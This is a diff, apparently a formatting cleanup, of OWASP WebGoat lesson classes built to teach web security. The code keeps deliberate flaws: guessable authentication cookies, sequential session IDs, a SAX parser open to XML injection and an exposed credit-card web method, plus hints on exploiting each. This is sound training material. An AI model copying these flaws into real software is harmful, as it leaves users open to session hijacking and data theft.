{
return WSDLScanning.webgoatContext;
}
@ -115,40 +112,31 @@ public class WSDLScanning extends LessonAdapter
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints
.add("Sometimes the WSDL will define methods that are not available through a web API. "
hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints.add("Sometimes the WSDL will define methods that are not available through a web API. "
+ "Try to find operations that are in the WSDL, but not part of this API");
hints
.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning <br>"
hints.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints
.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request.");
hints.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "WSDL Scanning";
}
public Object accessWGService(String serv, int port, String proc,
String parameterName, Object parameterValue)
public Object accessWGService(String serv, int port, String proc, String parameterName, Object parameterValue)
{
String targetNamespace = "WebGoat";
try
@ -162,27 +150,22 @@ public class WSDLScanning extends LessonAdapter
call.setReturnType(XMLType.XSD_STRING);
call.setUsername("guest");
call.setPassword("guest");
call.setTargetEndpointAddress("http://localhost:" + port + "/WebGoat/services/"
+ serv);
call.setTargetEndpointAddress("http://localhost:" + port + "/WebGoat/services/" + serv);
Object result = call.invoke(new Object[] { parameterValue });
return result;
}
catch (RemoteException e)
} catch (RemoteException e)
{
e.printStackTrace();
}
catch (ServiceException e)
} catch (ServiceException e)
{
e.printStackTrace();
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
return null;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -201,9 +184,10 @@ public class WSDLScanning extends LessonAdapter
tr = new TR();
tr.addElement(new TD("Select the fields to return: "));
tr.addElement(new TD(new Select("field").setMultiple(true).addElement(
new Option(firstName).addElement("First Name")).addElement(
new Option(lastName).addElement("Last Name")).addElement(
new Option(loginCount).addElement("Login Count"))));
new Option(firstName)
.addElement("First Name"))
.addElement(new Option(lastName).addElement("Last Name"))
.addElement(new Option(loginCount).addElement("Login Count"))));
t1.addElement(tr);
tr = new TR();
@ -218,8 +202,7 @@ public class WSDLScanning extends LessonAdapter
String[] fields = s.getParser().getParameterValues("field");
int id = s.getParser().getIntParameter("id");
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1);
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1);
if (s.isColor())
{
@ -231,9 +214,8 @@ public class WSDLScanning extends LessonAdapter
for (int i = 0; i < fields.length; i++)
{
header.addElement(new TD().addElement(fields[i]));
results.addElement(new TD()
.addElement((String) accessWGService("WSDLScanning", port,
fields[i], "acct_num", new Integer(id))));
results.addElement(new TD().addElement((String) accessWGService("WSDLScanning", port, fields[i],
"acct_num", new Integer(id))));
}
if (fields.length == 0)
{
@ -242,37 +224,32 @@ public class WSDLScanning extends LessonAdapter
t.addElement(header);
t.addElement(results);
ec.addElement(new P().addElement(t));
}
catch (Exception e)
} catch (Exception e)
{
}
try
{
A a = new A("services/WSDLScanning?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
ec.addElement(new P()
.addElement("View the web services definition language (WSDL) to see the complete API:"));
ec.addElement(new BR());
ec.addElement(a);
//getLessonTracker( s ).setCompleted( completed );
// getLessonTracker( s ).setCompleted( completed );
if (completed && !getLessonTracker(s).getCompleted()
&& !beenRestartedYet)
if (completed && !getLessonTracker(s).getCompleted() && !beenRestartedYet)
{
makeSuccess(s);
beenRestartedYet = true;
}
else if (completed && !getLessonTracker(s).getCompleted()
&& beenRestartedYet)
else if (completed && !getLessonTracker(s).getCompleted() && beenRestartedYet)
{
completed = false;
beenRestartedYet = false;
}
// accessWGService("WSDLScanning", "getCreditCard", "acct_num", new Integer(101));
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -280,32 +257,26 @@ public class WSDLScanning extends LessonAdapter
return (ec);
}
public String getResults(int id, String field)
{
try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection
.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id);
try
{
ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true))
if ((results != null) && (results.next() == true)) { return results.getString(field); }
} catch (SQLException sqle)
{
return results.getString(field);
}
} catch (Exception e)
{
}
catch (SQLException sqle)
{}
}
catch (Exception e)
{}
return null;
}
public String getCreditCard(int id)
{
String result = getResults(id, "cc_number");
@ -317,40 +288,27 @@ public class WSDLScanning extends LessonAdapter
return null;
}
public String getFirstName(int id)
{
String result = getResults(id, "first_name");
if (result != null)
{
return result;
}
if (result != null) { return result; }
return null;
}
public String getLastName(int id)
{
String result = getResults(id, "last_name");
if (result != null)
{
return result;
}
if (result != null) { return result; }
return null;
}
public String getLoginCount(int id)
{
String result = getResults(id, "login_count");
if (result != null)
{
return result;
}
if (result != null) { return result; }
return null;
}
public Element getCredits()
{
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
@ -18,32 +19,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -52,8 +52,10 @@ import org.owasp.webgoat.session.*;
*/
public class WeakAuthenticationCookie extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/**
* Description of the Field
@ -90,21 +92,16 @@ public class WeakAuthenticationCookie extends LessonAdapter
if (cookie != null)
{
if (cookie.equals(encode("webgoat12345")))
{
return ("webgoat");
}
if (cookie.equals(encode("webgoat12345"))) { return ("webgoat"); }
if (cookie.equals(encode("aspect12345")))
{
return ("aspect");
}
if (cookie.equals(encode("aspect12345"))) { return ("aspect"); }
if (cookie.equals(encode("alice12345")))
{
makeSuccess(s);
return ("alice");
} else
}
else
{
s.setMessage("Invalid cookie");
s.eatCookies();
@ -135,7 +132,8 @@ public class WeakAuthenticationCookie extends LessonAdapter
if (username.equals("webgoat") && password.equals("webgoat"))
{
loginID = encode("webgoat12345");
} else if (username.equals("aspect") && password.equals("aspect"))
}
else if (username.equals("aspect") && password.equals("aspect"))
{
loginID = encode("aspect12345");
}
@ -147,7 +145,8 @@ public class WeakAuthenticationCookie extends LessonAdapter
s.getResponse().addCookie(newCookie);
return (username);
} else
}
else
{
s.setMessage("Invalid username and password entered.");
}
@ -179,19 +178,12 @@ public class WeakAuthenticationCookie extends LessonAdapter
{
String user = checkCookie(s);
if ((user != null) && (user.length() > 0))
{
return (makeUser(s, user, "COOKIE"));
}
if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "COOKIE")); }
user = checkParams(s);
if ((user != null) && (user.length() > 0))
{
return (makeUser(s, user, "PARAMETERS"));
}
}
catch (Exception e)
if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "PARAMETERS")); }
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -244,10 +236,7 @@ public class WeakAuthenticationCookie extends LessonAdapter
for (int i = 0; i < cookies.length; i++)
{
if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE))
{
return (cookies[i].getValue());
}
if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE)) { return (cookies[i].getValue()); }
}
return (null);
@ -265,9 +254,9 @@ public class WeakAuthenticationCookie extends LessonAdapter
hints.add("Is the AuthCookie value guessable knowing the username and password?");
hints.add("Add 'AuthCookie=********;' to the Cookie: header using "
+ "<A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
hints.add("After logging in as webgoat a cookie is added. 65432ubphcfx<br/>" +
"After logging in as aspect a cookie is added. 65432udfqtb<br/>" +
"Is there anything similar about the cookies and the login names?");
hints.add("After logging in as webgoat a cookie is added. 65432ubphcfx<br/>"
+ "After logging in as aspect a cookie is added. 65432udfqtb<br/>"
+ "Is there anything similar about the cookies and the login names?");
return hints;
}
@ -320,9 +309,9 @@ public class WeakAuthenticationCookie extends LessonAdapter
}
TR tr = new TR();
tr.addElement(new TH().addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.").setColSpan(2)
.setAlign("left"));
tr.addElement(new TH()
.addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();

View File

@ -1,10 +1,9 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.Cookie;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -17,37 +16,35 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -56,7 +53,10 @@ import org.owasp.webgoat.session.WebSession;
*/
public class WeakSessionID extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/**
* Description of the Field
*/
@ -78,7 +78,6 @@ public class WeakSessionID extends LessonAdapter
protected static long lastTime = System.currentTimeMillis();
/**
* Gets the credits attribute of the AbstractLesson object
*
@ -89,7 +88,6 @@ public class WeakSessionID extends LessonAdapter
return super.getCustomCredits("By Rogan Dawes of ", ASPECT_LOGO);
}
protected String newCookie(WebSession s)
{
long now = System.currentTimeMillis();
@ -99,24 +97,22 @@ public class WeakSessionID extends LessonAdapter
String target = encode(seq++, lastTime + (now - lastTime) / 2);
sessionList.add(target);
s.setMessage(target);
if (sessionList.size() > 100)
sessionList.remove(0);
if (sessionList.size() > 100) sessionList.remove(0);
}
lastTime = now;
return encode(seq, now);
}
private String encode(long seq, long time)
{
return new String(Long.toString(seq) + "-" + Long.toString(time));
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -132,8 +128,7 @@ public class WeakSessionID extends LessonAdapter
{
return makeLogin(s);
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -142,7 +137,6 @@ public class WeakSessionID extends LessonAdapter
return (null);
}
/**
* Gets the category attribute of the WeakAuthenticationCookie object
*
@ -153,7 +147,6 @@ public class WeakSessionID extends LessonAdapter
return Category.SESSION_MANAGEMENT;
}
/**
* Gets the hints attribute of the CookieScreen object
*
@ -172,13 +165,11 @@ public class WeakSessionID extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CookieScreen object
*
@ -189,11 +180,11 @@ public class WeakSessionID extends LessonAdapter
return ("Hijack a Session");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)
@ -210,8 +201,7 @@ public class WeakSessionID extends LessonAdapter
}
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -224,15 +214,15 @@ public class WeakSessionID extends LessonAdapter
try
{
username = s.getParser().getStringParameter(USERNAME);
} catch (ParameterNotFoundException pnfe)
{
}
catch (ParameterNotFoundException pnfe)
{}
try
{
password = s.getParser().getStringParameter(PASSWORD);
} catch (ParameterNotFoundException pnfe)
{
}
catch (ParameterNotFoundException pnfe)
{}
if (username != null || password != null)
{
@ -240,8 +230,7 @@ public class WeakSessionID extends LessonAdapter
}
TR tr = new TR();
tr.addElement(new TH().addElement("Please sign in to your account.")
.setColSpan(2).setAlign("left"));
tr.addElement(new TH().addElement("Please sign in to your account.").setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import org.apache.ecs.Element;
@ -11,32 +12,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -49,68 +49,58 @@ public class WelcomeScreen extends Screen
/**
* Constructor for the WelcomeScreen object
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
*/
public WelcomeScreen(WebSession s)
{
setup(s);
}
/**
* Constructor for the WelcomeScreen object
*/
public WelcomeScreen()
{}
{
}
public void setup(WebSession s)
{
// call createContent first so messages will go somewhere
Form form = new Form("attack", Form.POST).setName("form")
.setEncType("");
Form form = new Form("attack", Form.POST).setName("form").setEncType("");
form.addElement(wrapForm(s));
TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign(
"left").addElement(form);
TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign("left").addElement(form);
TR row = new TR().addElement(lowerright);
Table layout = new Table().setBgColor(HtmlColor.WHITE)
.setCellSpacing(0).setCellPadding(0).setBorder(0);
Table layout = new Table().setBgColor(HtmlColor.WHITE).setCellSpacing(0).setCellPadding(0).setBorder(0);
layout.addElement(row);
setContent(layout);
}
protected Element wrapForm(WebSession s)
{
if (s == null)
{
return new StringElement("Invalid Session");
}
if (s == null) { return new StringElement("Invalid Session"); }
Table container = new Table().setWidth("100%").setCellSpacing(10)
.setCellPadding(0).setBorder(0);
Table container = new Table().setWidth("100%").setCellSpacing(10).setCellPadding(0).setBorder(0);
// CreateContent can generate error messages so you MUST call it before makeMessages()
Element content = createContent(s);
container.addElement(new TR().addElement(new TD().setColSpan(2)
.setVAlign("TOP").addElement(makeMessages(s))));
container.addElement(new TR().addElement(new TD().setColSpan(2)
.addElement(content)));
container.addElement(new TR().addElement(new TD().setColSpan(2).setVAlign("TOP").addElement(makeMessages(s))));
container.addElement(new TR().addElement(new TD().setColSpan(2).addElement(content)));
container.addElement(new TR());
return (container);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -122,13 +112,11 @@ public class WelcomeScreen extends Screen
return (ec);
}
public Element getCredits()
{
return new ElementContainer();
}
/**
* Gets the instructions attribute of the WelcomeScreen object
*
@ -141,7 +129,6 @@ public class WelcomeScreen extends Screen
return (instructions);
}
/**
* Gets the title attribute of the WelcomeScreen object
*
@ -152,8 +139,9 @@ public class WelcomeScreen extends Screen
return ("Welcome to the Penetration Testing Course");
}
/* (non-Javadoc)
/*
* (non-Javadoc)
*
* @see session.Screen#getRole()
*/
public String getRole()

View File

@ -1,16 +1,14 @@
/*
* Created on Jun 1, 2005
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
* Created on Jun 1, 2005 TODO To change the template for this generated file go to Window -
* Preferences - Java - Code Style - Code Templates
*/
package org.owasp.webgoat.lessons;
import java.io.IOException;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -18,7 +16,6 @@ import org.apache.ecs.html.B;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
@ -29,39 +26,38 @@ import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;
import org.xml.sax.helpers.XMLReaderFactory;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author rdawes
*
* TODO To change the template for this generated type comment go to Window -
* Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Code Style - Code Templates
*/
public class WsSAXInjection extends LessonAdapter
{
@ -70,59 +66,48 @@ public class WsSAXInjection extends LessonAdapter
private String password;
private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n"
+ "<wsns0:Envelope\n"
private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n" + "<wsns0:Envelope\n"
+ " xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\n"
+ " xmlns:xsd='http://www.w3.org/2001/XMLSchema'\n"
+ " xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\n"
+ " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n"
+ " <wsns0:Body>\n"
+ " <wsns1:changePassword>\n"
+ " <id xsi:type='xsd:int'>101</id>\n"
+ " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n" + " <wsns0:Body>\n"
+ " <wsns1:changePassword>\n" + " <id xsi:type='xsd:int'>101</id>\n"
+ " <password xsi:type='xsd:string'>";
private static String template2 = "</password>\n"
+ " </wsns1:changePassword>\n" + " </wsns0:Body>\n"
private static String template2 = "</password>\n" + " </wsns1:changePassword>\n" + " </wsns0:Body>\n"
+ "</wsns0:Envelope>";
static boolean completed;
protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The backend parses the XML received using a SAX parser.");
hints.add("SAX parsers often don't care if an element is repeated.");
hints
.add("If there are repeated elements, the last one is the one that is effective");
hints
.add("Try injecting matching 'close' tags, and creating your own XML elements");
hints.add("If there are repeated elements, the last one is the one that is effective");
hints.add("Try injecting matching 'close' tags, and creating your own XML elements");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Web Service SAX Injection";
}
protected Element makeInputLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -138,7 +123,6 @@ public class WsSAXInjection extends LessonAdapter
return ec;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -159,8 +143,7 @@ public class WsSAXInjection extends LessonAdapter
{
ec.addElement(checkXML(s, xml));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -168,7 +151,6 @@ public class WsSAXInjection extends LessonAdapter
return (ec);
}
private Element checkXML(WebSession s, String xml)
{
try
@ -180,23 +162,17 @@ public class WsSAXInjection extends LessonAdapter
if (!"101".equals(changer.getId()))
{
makeSuccess(s);
return new B(HtmlEncoder
.encode("You have changed the passsword for userid "
+ changer.getId() + " to '"
+ changer.getPassword() + "'"));
return new B(HtmlEncoder.encode("You have changed the passsword for userid " + changer.getId()
+ " to '" + changer.getPassword() + "'"));
}
else
{
return new StringElement(
"You changed the password for userid 101. Try again.");
return new StringElement("You changed the password for userid 101. Try again.");
}
}
catch (SAXException saxe)
} catch (SAXException saxe)
{
return new StringElement("The XML was not well formed: "
+ saxe.getLocalizedMessage());
}
catch (IOException ioe)
return new StringElement("The XML was not well formed: " + saxe.getLocalizedMessage());
} catch (IOException ioe)
{
return new StringElement(ioe.getLocalizedMessage());
}
@ -215,45 +191,33 @@ public class WsSAXInjection extends LessonAdapter
private StringBuffer text = new StringBuffer();
public void startElement(String uri, String localName, String qName,
Attributes atts) throws SAXException
public void startElement(String uri, String localName, String qName, Attributes atts) throws SAXException
{
text.delete(0, text.length());
}
public void characters(char[] ch, int start, int length)
throws SAXException
public void characters(char[] ch, int start, int length) throws SAXException
{
text.append(ch, start, length);
}
public void endElement(String uri, String localName, String qName)
throws SAXException
public void endElement(String uri, String localName, String qName) throws SAXException
{
if (localName.equals(ID_TAG))
id = text.toString();
if (localName.equals(PASSWORD_TAG))
password = text.toString();
if (localName.equals(ID_TAG)) id = text.toString();
if (localName.equals(PASSWORD_TAG)) password = text.toString();
text.delete(0, text.length());
}
public void ignorableWhitespace(char[] ch, int start, int length)
throws SAXException
public void ignorableWhitespace(char[] ch, int start, int length) throws SAXException
{
text.append(ch, start, length);
}
public String getId()
{
return id;
}
public String getPassword()
{
return password;

View File

@ -1,9 +1,8 @@
/*
* Created on Jun 1, 2005
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
* Created on Jun 1, 2005 TODO To change the template for this generated file go to Window -
* Preferences - Java - Code Style - Code Templates
*/
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -13,7 +12,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -22,45 +20,43 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Code Style - Code Templates
*/
public class WsSqlInjection extends LessonAdapter
{
@ -71,10 +67,12 @@ public class WsSqlInjection extends LessonAdapter
private String accountNumber;
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg")
.setAlt("Parasoft").setBorder(0).setHspace(0).setVspace(0);
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0)
.setVspace(0);
/* (non-Javadoc)
/*
* (non-Javadoc)
*
* @see lessons.AbstractLesson#getMenuItem()
*/
static boolean completed;
